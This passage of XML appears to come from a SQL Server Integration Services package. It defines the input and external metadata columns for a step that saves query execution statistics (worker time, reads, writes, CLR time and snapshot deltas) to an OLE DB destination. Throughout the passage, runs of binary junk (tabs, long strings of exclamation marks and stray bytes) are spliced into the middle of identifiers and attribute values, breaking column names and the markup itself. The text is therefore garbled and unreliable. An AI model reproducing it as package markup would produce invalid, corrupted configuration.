query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" cachedSortKeyPosition="3" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[statement_start_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[statement_start_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" cachedSortKeyPosition="4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[statement_end_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[statement_end_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[creation_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[creation_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" cachedSortKeyPosition="5" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[plan_generation_num]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[plan_generation_num]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save 	!!!!!!!!!!!!!!!!!!!!!!!!`:ãHvstatistics for interesting queries.Inputs[OLE DB Destination Input].Columns[last_execution_time]" cachedDataType="dbTimeStamp" cachedName="last_execution_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[last_execution_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[last_execution_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[execution_count]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[execution_count]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[total_worker_time]" cachedDataType="i8" cachedName="total_worker_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statist	!!!!!!!!!!!!!!!!!!!!!!!!`:!PHvics for interesting queries.Inputs[OLE DB Destination Input].Columns[total_logical_reads]" cachedDataType="i8" cachedName="total_logical_reads" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[max_worker_time]" cachedDataType="i8" cachedName="max_worker_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[min_worker_time]" cachedDataType="i8" cachedName="min_worker_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination In	!!!!!!!!!!!!!!!!!!!!!!!!`:%5mHvput].Columns[min_physical_reads]" cachedDataType="i8" cachedName="min_physical_reads" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[max_physical_reads]" cachedDataType="i8" cachedName="max_physical_reads" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[min_logical_writes]" cachedDataType="i8" cachedName="min_logical_writes" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[max_logical_writes]" cachedDataType="i8" cachedName="max_logical_writes" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[min_logical_reads]" cachedDataType="i8" cachedName="min_logical_reads" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[max_logical	!!!!!!!!!!!!!!!!!!!!!!!!`:)$Hv_reads]" cachedDataType="i8" cachedName="max_logical_reads" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[min_clr_time]" cachedDataType="i8" cachedName="min_clr_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[max_clr_time]" cachedDataType="i8" cachedName="max_clr_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[min_elapsed_time]" cachedDataType="i8" cachedName="min_elapsed_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[max_elapsed_time]" cachedDataType="i8" cachedName="max_elapsed_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" externalMetadataColumnI	!!!!!!!!!!!!!!!!!!!!!!!!`;6Hvd="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[collection_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[collection_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[sql_handle]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[sql_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" cachedSortKeyPosition="2" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[plan_handle]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[plan_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[snapshot_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[snapshot_worker_time]" cachedDataType="i8" cachedName="snapshot_worker_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[snapshot_physical_reads]" cachedDataType="i8" cachedName="snaps	!!!!!!!!!!!!!!!!!!!!!!!!`;mnHvhot_physical_reads" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[snapshot_logical_reads]" cachedDataType="i8" cachedName="snapshot_logical_reads" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[snapshot_logical_writes]" cachedDataType="i8" cachedName="snapshot_logical_writes" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[snapshot_clr_time]" cachedDataType="i8" cachedName="snapshot_clr_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[snapshot_elapsed_time]" cachedDataType="i8" cachedName="snapshot_elapsed_time" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_elapsed_time]"/><inputColumn refId="Pa	!!!!!!!!!!!!!!!!!!!!!!!!`;	SHvckage\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].Columns[snapshot_execution_count]" cachedDataType="i8" cachedName="snapshot_execution_count" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_execution_count]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_execution_count]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[statement_start_offset]" dataType="i4" name="statement_start_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[statement_end_offset]" dataType="i4" name="statement_end_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[plan_generation_num]" dataType="i8" name="plan_generation_num"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[plan_handle]" dataType="bytes" length="64" name="plan_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[creation_time]" dataType="dbTimeStampOffset" name="creation_time" scale="7"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[last_execution_time]" dataType="dbTimeStampOffset" name="last_execution_time" scale="7"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[execution_count]" dataType="i8" name="execution_count"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_worker_time]" dataType="i8" name="total_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_worker_time]" dataType="i8" name="	!!!!!!!!!!!!!!!!!!!!!!!!`;!%ʀHvsnapshot_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_worker_time]" dataType="i8" name="min_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_worker_time]" dataType="i8" name="max_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_physical_reads]" dataType="i8" name="total_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_physical_reads]" dataType="i8" name="snapshot_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_physical_reads]" dataType="i8" name="min_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_physical_reads]" dataType="i8" name="max_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_logical_writes]" dataType="i8" name="total_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_logical_writes]" dataType="i8" name="snapshot_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_logical_writes]" dataType="i8" name="min_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_logical_writes]" dataType="i8" name="max_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_logical_reads]" dataType="i8" name="total_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_logical_reads]" dataType="i8" name="snapshot_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[min_logical_read	!!!!!!!!!!!!!!!!!!!!!!!!`;%Hvs]" dataType="i8" name="min_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[max_logical_reads]" dataType="i8" name="max_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input].ExternalColumns[total_clr_time]" dataType="i8" name="total_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan 